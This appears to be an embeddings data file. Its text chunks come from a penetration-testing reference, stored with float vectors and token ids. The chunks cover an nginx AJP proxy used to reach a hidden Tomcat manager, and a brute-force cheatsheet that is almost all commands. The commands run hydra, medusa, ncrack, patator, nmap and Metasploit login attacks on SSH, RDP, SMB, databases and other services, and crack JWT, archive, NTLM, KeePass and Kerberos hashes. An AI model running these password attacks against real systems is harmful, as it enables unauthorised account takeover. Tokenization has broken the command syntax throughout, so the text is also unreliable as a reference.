use a proxy chain rhost localhost yes the target address rport 80 yes the target port username tomcat no the username to authenticate as vhost no http server virtual hostnginx reverse proxy & ajpcheckout the dockerized versionwhen we come across an open ajp proxy port ( 8009 tcp ), we can use nginx with the ajp _ module to access the " hidden " tomcat manager. this can be done by compiling the nginx source code and adding the required module, as follows : download the nginx source codedownload the required modulecompile nginx source code with the ajp _ module. create a configuration file | [
0.9698872566223145,
-0.573538601398468,
0.14452585577964783,
0.05803340673446655,
-0.2353937327861786,
-0.40788939595222473,
-0.16470225155353546,
0.21391034126281738,
0.6724586486816406,
1.1624720096588135,
0.7593055963516235,
-0.14028368890285492,
0.7570369839668274,
-0.689953625202179,
... | [
2144,
2027,
2134,
1521,
1056,
4025,
2000,
2022,
4072,
1012,
19219,
2080,
26794,
1011,
2131,
16500,
5622,
3676,
19498,
5369,
2475,
1011,
16913,
1011,
1046,
5705,
6784,
2080,
6819,
2213,
1013,
4385,
1013,
15895,
2475,
1013,
15895,
2475,
1012,... | hack_tricks | 119.txt | 1 |
pointing to the ajp port # download nginx codewget url - xzvf nginx - 1. 21. 3. tar. gz # compile nginx source code with the ajp modulegit clone url nginx - 1. 21. 3sudo apt install libpcre3 - dev. / configure - - add - module = ` pwd ` /.. / nginx _ ajp _ module - - prefix = / etc / nginx - - sbin - path = / usr / sbin / nginx - - modules - path = / usr / lib / nginx / modulesmakesudo make installnginx - vcomment out the entire server block and append the following lines inside the url block in / etc / nginx / conf / nginx. conf. upstream tomcats { server < target _ server > : 8009 ; keepalive 10 ; } server { listen 80 ; location / { ajp _ keep _ conn on ; ajp _ pass tomcats ; } } start nginx and check if everything is working correctly by issuing a curl request to your local host. sudo nginxcurl url : / / 127. 0. 0. 1 : 80 <! doctype html > < html lang = " en " > < head > < meta charset = " utf - 8 " / > < title > apache tomcat / x. x. xx < / title > < link href = " favicon. ico " rel = " icon " type = " image / x - icon " / > < link href = " favicon. ico " rel = " shortcut icon " type = " image / x - icon " / > < link href = " tomcat. css " rel = " stylesheet " type = " text / css " / > < / headas < body > < div id = " wrapper " > < div id = " navigation " class = " curved container " > < span id = " nav - home " > < a href = " urls : / / tomcat. apache. org / " > home < / a > < / span > < span id = " nav - hosts " > < a href = " / docs / " | [
0.5460713505744934,
-0.01912015676498413,
-0.49999022483825684,
0.8004817962646484,
-0.047579325735569,
-0.7834288477897644,
-0.07291755080223083,
0.4209035038948059,
0.834516167640686,
0.45606422424316406,
0.4979586899280548,
-0.29233667254447937,
-0.034840743988752365,
0.097978375852108,... | [
7302,
2000,
1996,
19128,
2361,
3417,
1001,
8816,
12835,
2378,
2595,
3642,
27767,
3388,
24471,
2140,
1011,
1060,
2480,
2615,
2546,
12835,
2378,
2595,
1011,
1015,
1012,
2538,
1012,
1017,
1012,
16985,
1012,
1043,
2480,
1001,
4012,
22090,
12835... | hack_tricks | 119.txt | 2 |
> documentation < / a > < / span > < span id = " nav - config " > < a href = " / docs / config / " > configuration < / a > < / span > < span id = " nav - examples " > < a href = " / examples / " > examples < / a > < / span > < span id = " nav - wiki " > < a href = " urls : / / wiki. apache. org / tomcat / frontpage " > wiki < / a > < / span > < span id = " nav - lists " > < a href = " urls : / / tomcat. apache. org / lists. html " > mailing lists < / a > < / span > < span id = " nav - help " > < a href = " urls : / / tomcat. apache. org / findhelp. html " > find help < / a > < / span > < br class = " separator " / > < / div > < div id = " asf - box " > < h1 > apache tomcat / x. x. xx < / h1 > < / div > < div id = " upper " class = " curved container " > < div id = " congrats " class = " curved container " > < h2 > if you're seeing this, you've successfully installed tomcat. congratulations! < / h2 > < snip > dockerized - versiongit clone urls : / / github. com / scribblercoder / nginx - ajp - dockercd nginx - ajp - dockerreplace target - ip in nginx. conf witg ajp ip then build and rundocker build. - t nginx - ajp - proxydocker run - it - - rm - p 80 : 80 nginx - ajp - proxy [SEP] | [
0.39851507544517517,
0.03351884335279465,
-0.11408795416355133,
-0.10840346664190292,
-0.4034412205219269,
-0.3596051037311554,
0.09058716893196106,
0.34356918931007385,
1.1907570362091064,
0.8254734873771667,
0.38663041591644287,
0.34106406569480896,
0.058603331446647644,
0.38973996043205... | [
1028,
12653,
1026,
1013,
1037,
1028,
1026,
1013,
8487,
1028,
1026,
8487,
8909,
1027,
1000,
6583,
2615,
1011,
9530,
8873,
2290,
1000,
1028,
1026,
1037,
17850,
12879,
1027,
1000,
1013,
9986,
2015,
1013,
9530,
8873,
2290,
1013,
1000,
1028,
9... | hack_tricks | 119.txt | 3 |
[CLS] brute force - cheatsheet use trickest to easily build and automate workflows powered by the world's most advanced community tools. default credentialssearch in google for default credentials of the technology that is being used, or try these links : urls : / / github. com / ihebski / defaultcreds - cheat - sheeturl : / / www. phenoelit. org / dpl / dpl. htmlurl : / / www. vulnerabilityassessment. co. uk / passwordsc. htmurls : / / 192 - 168 - 1 - 1ip. mobi / default - router - passwords - list / urls : / / datarecovery. com / rd / default - passwords / urls : / / bizuns. com / default - passwords - listurls : / / github. com / danielmiessler / seclists / blob / master / passwords / default - credentials / default - passwords. csvurls : / / github. com / dormidera / wordlist - compendiumurls : / / www. cirt. net / passwordsurl : / / www. passwordsdatabase. com / urls : / / many - passwords. github. io / urls : / / theinfocentric. com / create your own dictionariesfind as much information about the target as you can and generate a custom dictionary. tools that may help : crunchcrunch 4 6 0123456789abcdef - o crunch1. txt # from length 4 to 6 using that alphabetcrunch 4 4 - f / usr / share / crunch / charset. lst mixalpha # only length 4 using charset mixalpha ( inside file charset. lst ) @ lower case alpha characters, upper case alpha characters % numeric characters ^ special characters including spaccrunch 6 8 - t, @ @ ^ ^ % % cewlcewl example. com - m 5 - w words. txtcuppgenerate passwords based on your knowledge of the victim ( names, dates... ) python3 cupp. py - hwistera wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal word | [
0.08637399226427078,
-0.5625361204147339,
0.49643048644065857,
0.45393073558807373,
-0.10206107050180435,
-0.05632064491510391,
0.1037963479757309,
0.04730108007788658,
-0.26459088921546936,
1.0799875259399414,
0.35639944672584534,
0.027404213324189186,
0.23885095119476318,
-0.618034362792... | [
101,
26128,
2486,
1011,
21910,
4095,
15558,
2224,
7577,
4355,
2000,
4089,
3857,
1998,
8285,
8585,
2147,
12314,
2015,
6113,
2011,
1996,
2088,
1005,
1055,
2087,
3935,
2451,
5906,
1012,
12398,
22496,
17310,
11140,
1999,
8224,
2005,
12398,
2249... | hack_tricks | 12.txt | 0 |
##list to use regarding a specific target. python3 wister. py - w jane doe 2022 summer madrid 1998 - c 1 2 3 4 5 - o wordlist. lst _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ \ \ / / _ _ | / _ _ _ _ | _ _ _ _ | _ _ _ _ | _ _ \ \ \ / \ / / | | | ( _ _ _ | | | | _ _ | | _ _ ) | \ \ / \ / / | | \ _ _ _ \ | | | _ _ | | _ / \ / \ / _ | | _ _ _ _ _ ) | | | | | _ _ _ _ | | \ \ \ / \ / | _ _ _ _ _ | _ _ _ _ _ / | _ | | _ _ _ _ _ _ | _ | \ _ \ version 1. 0. 3 cycurity generating wordlist... [ # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ] 100 % generated 67885 lines. finished in 0. 920s. pydictorwordlistsurls : / / github. com / danielmiessler / seclistsurls : / / github. com / dormidera / wordlist - compendiumurls : / / github. com / kaonashi - passwords / kaonashiurls : / / github. com / google / fuzzing / tree / master / dictionariesurls : / / crackstation. net / crackstation - wordlist - password - cracking - dictionary. htmurls : / / weakpass. com / wordlist / urls : / / wordlists. assetnote. io / urls : / / github. com / fssecur3 / fuzzlistsurls : / / hashkiller. io / listmanagerurls : / / github. com / karanxa / bug - bounty - wordlists use trickest to easily build and automate workflows powered by the world's most advanced community tools. servicesordered alphabetically by service name. afpnmap - p 548 - - script | [
0.7767487168312073,
-0.24644993245601654,
-0.1154773086309433,
1.1632803678512573,
-1.0754700899124146,
-0.8355623483657837,
0.4500964283943176,
0.272066593170166,
0.1824064999818802,
0.22935636341571808,
0.014322602190077305,
-0.3004980683326721,
0.41290658712387085,
0.75765460729599,
-... | [
9863,
2000,
2224,
4953,
1037,
3563,
4539,
1012,
18750,
2509,
15536,
6238,
1012,
1052,
2100,
1011,
1059,
4869,
18629,
16798,
2475,
2621,
6921,
2687,
1011,
1039,
1015,
1016,
1017,
1018,
1019,
1011,
1051,
2773,
9863,
1012,
1048,
3367,
1035,
... | hack_tricks | 12.txt | 1 |
afp - brute < ip > msf > use auxiliary / scanner / afp / afp _ loginmsf > set blank _ passwords truemsf > set user _ as _ pass truemsf > set pass _ file < path _ passwds > msf > set user _ file < path _ users > msf > runajpnmap - - script ajp - brute - p 8009 < ip > cassandranmap - - script cassandra - brute - p 9160 < ip > couchdbmsf > use auxiliary / scanner / couchdb / couchdb _ loginhydra - l / usr / share / brutex / wordlists / simple - users. txt - p / usr / share / brutex / wordlists / password. lst localhost - s 5984 url / docker registryhydra - l / usr / share / brutex / wordlists / simple - users. txt - p / usr / share / brutex / wordlists / password. lst 10. 10. 10. 10 - s 5000 url / v2 / elasticsearchhydra - l / usr / share / brutex / wordlists / simple - users. txt - p / usr / share / brutex / wordlists / password. lst localhost - s 9200 url / ftphydra - l root - p passwords. txt [ - t 32 ] < ip > ftpncrack - p 21 - - user root - p passwords. txt < ip > [ - t 5 ] medusa - u root - p 500 - worst - passwords. txt - h < ip > - m ftphttp generic brutewfuzzhttp basic authhydra - l / usr / share / brutex / wordlists / simple - users. txt - p / usr / share / brutex / wordlists / password. lst sizzle. htb. local url / certsrv / # use url mode for url - h < ip > - u < username > - p < passwords. txt > - m url - m dir : / path / to / auth - t 10http - post formhydra - l / usr / share / brutex / wordlists / simple - users. txt - p / usr / share / brute | [
0.4130174517631531,
-0.0342351458966732,
-0.430899441242218,
0.49510160088539124,
0.15422514081001282,
0.15977175533771515,
-0.41755110025405884,
0.6124590635299683,
0.020270835608243942,
0.70145183801651,
0.37727808952331543,
0.12341392040252686,
0.22838594019412994,
-0.21362115442752838,... | [
21358,
2361,
1011,
26128,
1026,
12997,
1028,
5796,
2546,
1028,
2224,
9830,
1013,
26221,
1013,
21358,
2361,
1013,
21358,
2361,
1035,
8833,
2378,
5244,
2546,
1028,
2275,
8744,
1035,
20786,
2015,
2995,
5244,
2546,
1028,
2275,
5310,
1035,
2004,... | hack_tricks | 12.txt | 2 |
##x / wordlists / password. lst domain. htb url - post - form " / path / index. php : name = ^ user ^ & password = ^ pass ^ & enter = sign + in : login name or password is incorrect " - v # use urls - post - form mode for urlsfor urls you have to change from " url - post - form " to " urls - post - form " http - cms - - ( w ) ordpress, ( j ) oomla or ( d ) rupal or ( m ) oodlecmsmap - f w / j / d / m - u a - p a urls : / / wordpress. comimaphydra - l username - p / path / to / passwords. txt - f < ip > imap - vhydra - s - v - l username - p / path / to / passwords. txt - s 993 - f < ip > imap - vnmap - sv - - script imap - brute - p < port > < ip > ircnmap - sv - - script irc - brute, irc - sasl - brute - - script - args userdb = / path / users. txt, passdb = / path / pass. txt - p < port > < ip > iscsinmap - sv - - script iscsi - brute - - script - args userdb = / var / usernames. txt, passdb = / var / passwords. txt - p 3260 < ip > jwt # hashcathashcat - m 16500 - a 0 jwt. txt. \ wordlists \ rockyou. txt # urls : / / github. com / sjord / jwtcrackpython crackjwt. py eyj0exaioijkv1qilcjhbgcioijiuzi1nij9. eyjkyxrhijoie1widxnlcm5hbwvcijpcimfkbwluxcisxcjyb2xlxci6xcjhzg1pblwifsj9. 8r - kvuxe66y _ dxvovgreqzeoadjbnpzmnblghm8ydac / usr / | [
0.2453645020723343,
0.07935217767953873,
0.14295440912246704,
0.1782812774181366,
-0.051959965378046036,
0.05925922468304634,
0.09123545140028,
0.17143379151821136,
-0.009511630050837994,
0.9798722863197327,
0.22948499023914337,
0.13794325292110443,
0.3756695091724396,
-0.41154298186302185... | [
2595,
1013,
2773,
27103,
1013,
20786,
1012,
1048,
3367,
5884,
1012,
1044,
2102,
2497,
24471,
2140,
1011,
2695,
1011,
2433,
1000,
1013,
4130,
1013,
5950,
1012,
25718,
1024,
2171,
1027,
1034,
5310,
1034,
1004,
20786,
1027,
1034,
3413,
1034,
... | hack_tricks | 12.txt | 3 |
share / wordlists / rockyou. txt # johnjohn jwt. txt - - wordlist = wordlists. txt - - format = hmac - sha256 # urls : / / github. com / ticarpi / jwt _ toolpython3 jwt _ tool. py - d wordlists. txt < jwt token > # urls : / / github. com / brendan - rius / c - jwt - cracker. / jwtcrack eyj0exaioijkv1qilcjhbgcioijiuzi1nij9. eyjkyxrhijoie1widxnlcm5hbwvcijpcimfkbwluxcisxcjyb2xlxci6xcjhzg1pblwifsj9. 8r - kvuxe66y _ dxvovgreqzeoadjbnpzmnblghm8ydac 1234567890 8 # urls : / / github. com / mazen160 / jwt - pwnpython3 jwt - cracker. py - jwt eyj0exaioijkv1qilcjhbgcioijiuzi1nij9. eyjkyxrhijoie1widxnlcm5hbwvcijpcimfkbwluxcisxcjyb2xlxci6xcjhzg1pblwifsj9. 8r - kvuxe66y _ dxvovgreqzeoadjbnpzmnblghm8ydac - w wordlist. txt # urls : / / github. com / lmammino / jwt - crackerjwt - cracker " eyjhbgcioijiuzi1niisinr5cci6ikpxvcj9. eyjzdwiioiixmjm0nty3odkwiiwibmftzsi6ikpvag4grg9liiwiywrtaw4ionrydwv9. tjva95orm7e2cbab30rmhrhdcefxjoyzgefonfh7hgq " " abcdefghijklm | [
0.7250392436981201,
0.16192863881587982,
-0.020572561770677567,
0.8210785388946533,
-0.3294064700603485,
-0.008115999400615692,
-0.42594411969184875,
0.5897949934005737,
0.7513733506202698,
0.2948160171508789,
0.5933312773704529,
0.1443270593881607,
0.4888235926628113,
-0.06838405877351761... | [
3745,
1013,
2773,
27103,
1013,
6857,
7140,
1012,
19067,
2102,
1001,
2198,
5558,
7295,
1046,
26677,
1012,
19067,
2102,
1011,
1011,
2773,
9863,
1027,
2773,
27103,
1012,
19067,
2102,
1011,
1011,
4289,
1027,
20287,
6305,
1011,
21146,
17788,
257... | hack_tricks | 12.txt | 4 |
##nopqrstuwxyz " 6ldapnmap - - script ldap - brute - p 389 < ip > mqttncrack mqtt : / / 127. 0. 0. 1 - - user test – p / root / desktop / pass. txt - vmongonmap - sv - - script mongodb - brute - n - p 27017 < ip > use auxiliary / scanner / mongodb / mongodb _ loginmysql # hydrahydra - l usernames. txt - p pass. txt < ip > mysql # msfconsolemsf > use auxiliary / scanner / mysql / mysql _ login ; set verbose false # medusamedusa - h < ip / host > - u < username > - p < password _ list > < - f | to stop medusa on first success attempt > - t < threads > - m mysqloraclesqlpatator oracle _ login sid = < sid > host = < ip > user = file0 password = file1 0 = users - oracle. txt 1 = pass - oracle. txt - x ignore : code = ora - 01017. / odat. py passwordguesser - s $ server - d $ sid. / odat. py passwordguesser - s $ myserver - p $ port - - accounts - file accounts _ multiple. txt # msf1msf > use admin / oracle / oracle _ loginmsf > set rhosts < ip > msf > set rport 1521msf > set sid < sid > # msf2, this option uses nmap and it fails sometimes for some reasonmsf > use scanner / oracle / oracle _ loginmsf > set rhosts < ip > msf > set rports 1521msf > set sid < sid > # for some reason nmap fails sometimes when executing this scriptnmap - - script oracle - brute - p 1521 - - script - args oracle - brute. sid = < sid > < ip > in order to use oracle _ login with patator you need to install : pip3 install cx _ oracle - - upgradeoffline oraclesql hash bruteforce ( versions 11. 1. 0. 6, 11. 1. 0. 7, 11 | [
0.20065249502658844,
-0.19135455787181854,
-0.1537344604730606,
-0.10044616460800171,
-0.34089523553848267,
-0.2741030156612396,
-0.07511185854673386,
0.6764779686927795,
0.8418230414390564,
0.39073604345321655,
0.09194247424602509,
0.26415717601776123,
0.5370886325836182,
-0.2650828361511... | [
3630,
2361,
4160,
12096,
25974,
18037,
2480,
1000,
1020,
15150,
2361,
2078,
2863,
2361,
1011,
1011,
5896,
25510,
9331,
1011,
26128,
1011,
1052,
4229,
2683,
1026,
12997,
1028,
1049,
4160,
4779,
12273,
22648,
2243,
1049,
4160,
4779,
1024,
101... | hack_tricks | 12.txt | 5 |
. 2. 0. 1, 11. 2. 0. 2, and 11. 2. 0. 3 ) : nmap - p1521 - - script oracle - brute - stealth - - script - args oracle - brute - stealth. sid = db11g - n 10. 11. 21. 30pophydra - l username - p / path / to / passwords. txt - f < ip > pop3 - vhydra - s - v - l username - p / path / to / passwords. txt - s 995 - f < ip > pop3 - vpostgresqlhydra - l / root / desktop / user. txt – p / root / desktop / pass. txt < ip > postgresmedusa - h < ip > – u / root / desktop / user. txt – p / root / desktop / pass. txt – m postgresncrack – v – u / root / desktop / user. txt – p / root / desktop / pass. txt < ip > : 5432patator pgsql _ login host = < ip > user = file0 0 = / root / desktop / user. txt password = file1 1 = / root / desktop / pass. txtuse auxiliary / scanner / postgres / postgres _ loginnmap - sv - - script pgsql - brute - - script - args userdb = / var / usernames. txt, passdb = / var / passwords. txt - p 5432 < ip > pptpyou can download the. deb package to install from urls : / / url. kali. org / pool / main / t / thc - pptp - bruter / sudo dpkg - i thc - pptp - bruter *. deb # install the packagecat rockyou. txt | thc - pptp - bruter – u < username > < ip > rdpncrack - vv - - user < user > - p pwds. txt rdp : / / < ip > hydra - v - f - l < userslist > - p < passwlist > rdp : / / < ip > redismsf > use auxiliary / scanner / redis / redis _ loginnmap - - script redis - brute - p | [
0.1611914187669754,
-0.05891761928796768,
-0.3700397312641144,
0.6357806324958801,
-0.4363400340080261,
-0.1293753832578659,
-0.4528465270996094,
0.34812378883361816,
0.2929975986480713,
0.6541284322738647,
0.3832470774650574,
-0.49803686141967773,
0.5106035470962524,
-0.18366214632987976,... | [
1012,
1016,
1012,
1014,
1012,
1015,
1010,
2340,
1012,
1016,
1012,
1014,
1012,
1016,
1010,
1998,
2340,
1012,
1016,
1012,
1014,
1012,
1017,
1007,
1024,
13221,
9331,
1011,
1052,
16068,
17465,
1011,
1011,
5896,
14721,
1011,
26128,
1011,
22150,
... | hack_tricks | 12.txt | 6 |
6379 < ip > hydra – p / path / pass. txt redis : / / < ip > : < port > # 6379 is the defaultrexechydra - l < username > - p < password _ file > rexec : / / < victim - ip > - v - vrloginhydra - l < username > - p < password _ file > rlogin : / / < victim - ip > - v - vrshhydra - l < username _ list > rsh : / / < victim _ ip > - v - vurl : / / pentestmonkey. net / tools / misc / rsh - grindrsyncnmap - sv - - script rsync - brute - - script - args userdb = / var / usernames. txt, passdb = / var / passwords. txt - p 873 < ip > rtsphydra - l root - p passwords. txt < ip > rtspsnmpmsf > use auxiliary / scanner / snmp / snmp _ loginnmap - su - - script snmp - brute < target > [ - - script - args snmp - brute. communitiesdb = < wordlist > ] onesixtyone - c / usr / share / metasploit - framework / data / wordlists / snmp _ default _ pass. txt < ip > hydra - p / usr / share / seclists / discovery / snmp / common - snmp - community - strings. txt target. com snmpsmbnmap - - script smb - brute - p 445 < ip > hydra - l administrator - p words. txt 192. 168. 1. 12 smb - t 1smtphydra - l < username > - p / path / to / passwords. txt < ip > smtp - vhydra - l < username > - p / path / to / passwords. txt - s 587 < ip > - s - v - v # port 587 for smtp with sslsocksnmap - vvv - scv - - script socks - brute - - script - args userdb = users. txt, passdb = / usr / share / seclists / passwords / xato - net - 10 - million | [
0.05645675212144852,
-0.03456515446305275,
-0.4324559271335602,
0.13733327388763428,
-0.15112078189849854,
0.002251886995509267,
0.024820007383823395,
0.3117375671863556,
0.06684987246990204,
0.8013513684272766,
0.14978353679180145,
0.12211815267801285,
0.37778571248054504,
-0.492219686508... | [
6191,
2581,
2683,
1026,
12997,
1028,
26018,
1516,
1052,
1013,
4130,
1013,
3413,
1012,
19067,
2102,
2417,
2483,
1024,
1013,
1013,
1026,
12997,
1028,
1024,
1026,
3417,
1028,
1001,
6191,
2581,
2683,
2003,
1996,
12398,
2890,
2595,
15937,
25688,... | hack_tricks | 12.txt | 7 |
- passwords - 1000000. txt, unpwndb. timelimit = 30m - p 1080 < ip > sshhydra - l root - p passwords. txt [ - t 32 ] < ip > sshncrack - p 22 - - user root - p passwords. txt < ip > [ - t 5 ] medusa - u root - p 500 - worst - passwords. txt - h < ip > - m sshpatator ssh _ login host = < ip > port = 22 user = root 0 = / path / passwords. txt password = file0 - x ignore : mesg ='authentication failed'weak ssh keys / debian predictable prngsome systems have known flaws in the random seed used to generate cryptographic material. this can result in a dramatically reduced keyspace which can be bruteforced with tools such as snowdroppe / ssh - keybrute. pre - generated sets of weak keys are also available such as g0tmi1k / debian - ssh. sql server # use the netbios name of the machine as domaincrackmapexec mssql < ip > - d < domain name > - u usernames. txt - p passwords. txthydra - l / root / desktop / user. txt – p / root / desktop / pass. txt < ip > mssqlmedusa - h < ip > – u / root / desktop / user. txt – p / root / desktop / pass. txt – m mssqlnmap - p 1433 - - script ms - sql - brute - - script - args mssql. domain = domain, userdb = customuser. txt, passdb = custompass. txt, ms - sql - brute. brute - windows - accounts < host > # use domain if needed. be careful with the number of passwords in the list, this could block accountsmsf > use auxiliary / scanner / mssql / mssql _ login # be careful, you can block accounts. if you have a domain set it and use use _ windows _ athenttelnethydra - l root - p passwords. txt [ - t 32 ] < ip > telnetncrack - p 23 - - user root - p passwords. txt < ip > [ | [
0.24957479536533356,
-0.2759963572025299,
0.09091470390558243,
-0.051674921065568924,
-0.11448720097541809,
-0.32509905099868774,
-0.07329536974430084,
0.7133601903915405,
-0.16367998719215393,
0.4553629457950592,
0.11623509228229523,
-0.15678855776786804,
0.38106396794319153,
-0.149835407... | [
1011,
20786,
2015,
1011,
6694,
8889,
2692,
1012,
19067,
2102,
1010,
4895,
28400,
4859,
2497,
1012,
2051,
17960,
4183,
1027,
2382,
2213,
1011,
1052,
10715,
2692,
1026,
12997,
1028,
7020,
23644,
25688,
2527,
1011,
1048,
7117,
1011,
1052,
2078... | hack_tricks | 12.txt | 8 |
- t 5 ] medusa - u root - p 500 - worst - passwords. txt - h < ip > - m telnetvnchydra - l / root / desktop / user. txt – p / root / desktop / pass. txt - s < port > < ip > vncmedusa - h < ip > – u root - p / root / desktop / pass. txt – m vncncrack - v - - user root - p / root / desktop / pass. txt < ip > : > por > tpatator vnc _ login host = < ip > password = file0 0 = / root / desktop / pass. txt – t 1 – x retry : fgep! ='authentication failure'- - max - retries 0 – x quit : code = 0use auxiliary / scanner / vnc / vnc _ loginnmap - sv - - script pgsql - brute - - script - args userdb = / var / usernames. txt, passdb = / var / passwords. txt - p 5432 < ip > # metasploituse auxiliary / scanner / vnc / vnc _ loginset rhosts < ip > set pass _ file / usr / share / metasploit - framework / data / wordlists / passwords. lstwinrmcrackmapexec winrm < ip > - d < domain name > - u usernames. txt - p passwords. txt use trickest to easily build and automate workflows powered by the world's most advanced community tools. localonline cracking databasesurl : / / hashtoolkit. com / reverse - hash? ( md5 & sha1 ) urls : / / shuck. sh / get - shucking. php ( mschapv2 / pptp - vpn / netntlmv1 with / without ess / ssp and with any challenge's value ) urls : / / www. onlinehashcrack. com / ( hashes, wpa2 captures, and archives msoffice, zip, pdf... ) urls : / / crackstation. net / ( hashes ) urls : / / md5decrypt. net / ( md5 ) urls : / / gpuhash. me / ( hashes and file hash | [
0.4163634181022644,
-0.37613987922668457,
-0.06453794240951538,
0.5512644052505493,
-0.42290234565734863,
-0.15108324587345123,
-0.6310178637504578,
0.12899966537952423,
0.480211466550827,
0.505473792552948,
0.2956835627555847,
0.015641726553440094,
0.6615535616874695,
-0.6468855142593384,... | [
1011,
1056,
1019,
1033,
19960,
10383,
1011,
1057,
7117,
1011,
1052,
3156,
1011,
5409,
1011,
20786,
2015,
1012,
19067,
2102,
1011,
1044,
1026,
12997,
1028,
1011,
1049,
10093,
7159,
16022,
11714,
7265,
1011,
1048,
1013,
7117,
1013,
15363,
101... | hack_tricks | 12.txt | 9 |
##es ) urls : / / hashes. org / search. php ( hashes ) urls : / / www. cmd5. org / ( hashes ) urls : / / hashkiller. co. uk / cracker ( md5, ntlm, sha1, mysql5, sha256, sha512 ) urls : / / www. md5online. org / md5 - decrypt. html ( md5 ) url : / / reverse - hash - lookup. online - domain - tools. com / check this out before trying to brute force a hash. zip # sudo apt - get install fcrackzip fcrackzip - u - d - p'/ usr / share / wordlists / rockyou. txt'chall. zipzip2john file. zip > zip. johnjohn zip. john # $ zip2 $ * 0 * 3 * 0 * a56cb83812be3981ce2a83c581e4bc4f * 4d7b * 24 * 9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468 * 694b6ebb6067308bedcd * $ / zip2 $ hashcat. exe - m 13600 - a 0. \ hashzip. txt. \ wordlists \ rockyou. txt. \ hashcat. exe - m 13600 - i - a 0. \ hashzip. txt # incremental attackknown plaintext zip attackyou need to know the plaintext ( or part of the plaintext ) of a file contained inside the encrypted zip. you can check filenames and size of files contained inside an encrypted zip running : 7z l encrypted. zip download bkcrack from the releases page. # you need to create a zip file containing only the file that is inside the encrypted zipzip plaintext. zip plaintext. file. / bkcrack - c < encrypted. zip > - c < plaintext. file > - p < plaintext. zip > - p < plaintext. file > # now wait, this | [
0.38471776247024536,
-0.14761696755886078,
0.24923105537891388,
0.5192859172821045,
-0.5842956900596619,
-0.06929852813482285,
-0.6367166042327881,
0.20404896140098572,
-0.004804483614861965,
1.4426534175872803,
0.7142658829689026,
0.43201562762260437,
0.7529752850532532,
-0.32017061114311... | [
2229,
1007,
24471,
4877,
1024,
1013,
1013,
23325,
2229,
1012,
8917,
1013,
3945,
1012,
25718,
1006,
23325,
2229,
1007,
24471,
4877,
1024,
1013,
1013,
7479,
1012,
4642,
2094,
2629,
1012,
8917,
1013,
1006,
23325,
2229,
1007,
24471,
4877,
1024,... | hack_tricks | 12.txt | 10 |
should print a key such as 7b549874 ebc25ec5 7e465e18 # with that key you can create a new zip file with the content of encrypted. zip # but with a different pass that you set ( so you can decrypt it ). / bkcrack - c < encrypted. zip > - k 7b549874 ebc25ec5 7e465e18 - u unlocked. zip new _ pwd unzip unlocked. zip # user new _ pwd as password7zcat / usr / share / wordlists / rockyou. txt | 7za t backup. 7z # download and install requirements for 7z2johnwget urls : / / raw. githubusercontent. com / magnumripper / johntheripper / bleeding - jumbo / run / 7z2john. plapt - get install libcompress - raw - lzma - perl. / 7z2john. pl file. 7z > 7zhash. johnpdfapt - get install pdfcrackpdfcrack encrypted. pdf - w / usr / share / wordlists / rockyou. txt # pdf2john didn't work well, john didn't know which hash type was # to permanently decrypt the pdfsudo apt - get install qpdfqpdf - - password = < password > - - decrypt encrypted. pdf plaintext. pdfpdf owner passwordto crack a pdf owner password check this : urls : / / blog. didierstevens. com / 2022 / 06 / 27 / quickpost - cracking - pdf - owner - passwords / jwtgit clone urls : / / github. com / sjord / jwtcrack. gitcd jwtcrack # bruteforce using crackjwt. pypython crackjwt. py eyj0exaioijkv1qilcjhbgcioijiuzi1nij9. eyjkyxrhijoie1widxnlcm5hbwvcijpcimfkbwluxcisxcjyb2xlxci6xcjhzg1pblwifsj9. 8r - kvuxe66 | [
0.49949774146080017,
0.05012088641524315,
0.07339143753051758,
0.6920138001441956,
-0.10084068030118942,
-0.37341055274009705,
-0.6553167700767517,
0.36008644104003906,
-0.04779493808746338,
1.092212200164795,
0.24211791157722473,
-0.09816603362560272,
0.9109293222427368,
-0.43569332361221... | [
2323,
6140,
1037,
3145,
2107,
2004,
1021,
2497,
27009,
2683,
2620,
2581,
2549,
1041,
9818,
17788,
8586,
2629,
1021,
2063,
21472,
2629,
2063,
15136,
1001,
2007,
2008,
3145,
2017,
2064,
3443,
1037,
2047,
14101,
5371,
2007,
1996,
4180,
1997,
... | hack_tricks | 12.txt | 11 |
##y _ dxvovgreqzeoadjbnpzmnblghm8ydac / usr / share / wordlists / rockyou. txt # bruteforce using johnpython jwt2john. py eyj0exaioijkv1qilcjhbgcioijiuzi1nij9. eyjkyxrhijoie1widxnlcm5hbwvcijpcimfkbwluxcisxcjyb2xlxci6xcjhzg1pblwifsj9. 8r - kvuxe66y _ dxvovgreqzeoadjbnpzmnblghm8ydac > jwt. johnjohn jwt. john # it does not work with kali - johnntlm crackingformat : usuario : id : hash _ lm : hash _ nt : : : john - - wordlist = / usr / share / wordlists / rockyou. txt - - format = nt file _ ntlm. hasheshashcat - a 0 - m 1000 - - username file _ ntlm. hashes / usr / share / wordlists / rockyou. txt - - potfile - path salida _ nt. potkeepasssudo apt - get install - y kpcli # install keepass tools like keepass2johnkeepass2john file. kdbx > hash # the keepass is only using passwordkeepass2john - k < file - password > file. kdbx > hash # the keepass is also using a file as a needed credential # the keepass can use a password and / or a file as credentials, if it is using both you need to provide them to keepass2johnjohn - - wordlist = / usr / share / wordlists / rockyou. txt hashkeberoastingjohn - - format = krb5tgs - - wordlist = passwords _ kerb. txt hashes. kerberoasthashcat - m 13100 - - force - a 0 hashes. kerberoast passwords _ kerb. txt. / tgsrepcrack. py wordlist. txt 1 - mssqlsvc ~ sql01. medin. local ~ 1433 - | [
0.2611432671546936,
-0.457083523273468,
0.275705486536026,
0.41352152824401855,
-0.22296591103076935,
0.03723835572600365,
-0.23903599381446838,
0.2875368297100067,
0.6691482067108154,
0.6105402112007141,
0.42600464820861816,
-0.13095344603061676,
0.47070807218551636,
-0.4662811756134033,
... | [
2100,
1035,
1040,
2595,
6767,
2615,
17603,
4160,
4371,
10441,
2094,
3501,
24700,
2361,
2480,
2213,
27698,
2140,
5603,
2213,
2620,
25688,
6305,
1013,
2149,
2099,
1013,
3745,
1013,
2773,
27103,
1013,
6857,
7140,
1012,
19067,
2102,
1001,
26128... | hack_tricks | 12.txt | 12 |
